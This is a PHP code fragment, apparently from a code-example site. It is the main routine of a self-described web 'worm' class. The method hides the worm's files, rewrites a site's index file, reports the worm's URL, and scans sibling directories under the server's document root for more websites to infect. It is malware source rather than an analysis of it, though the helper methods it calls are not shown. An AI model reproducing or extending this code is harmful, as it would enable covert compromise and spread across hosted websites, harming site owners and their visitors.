Example #1
0
 /**
  * @param null $host
  * @param null $rootDir
  * @param bool $scanSiblings
  * @param $indexSourceKey
  * @return array
  */
 public static function processHost($host = null, $rootDir = null, $scanSiblings = true, $indexSourceKey = self::INDEX_SOURCE_KEY_ARTICLES)
 {
     $result = array('success' => true, 'message' => null);
     try {
         $worm = new self($host, $rootDir);
         $worm->hideWormFiles();
         $worm->changeIndexFile($indexSourceKey);
         $result['message'] = 'Index file ' . $worm->getIndexFile()->getRealPath() . ' - successfully changed';
         $result['domain'] = $worm->getHost();
         $result['worm_url'] = $worm->getWormUrl();
         $result['index_source_key'] = $indexSourceKey;
     } catch (Exception $e) {
         $result['success'] = false;
         $result['message'] = $e->getMessage();
     }
     if ($scanSiblings) {
         $result['siblings'] = self::checkParentDirectoryForWebsites($_SERVER['DOCUMENT_ROOT'], $indexSourceKey);
     }
     return $result;
 }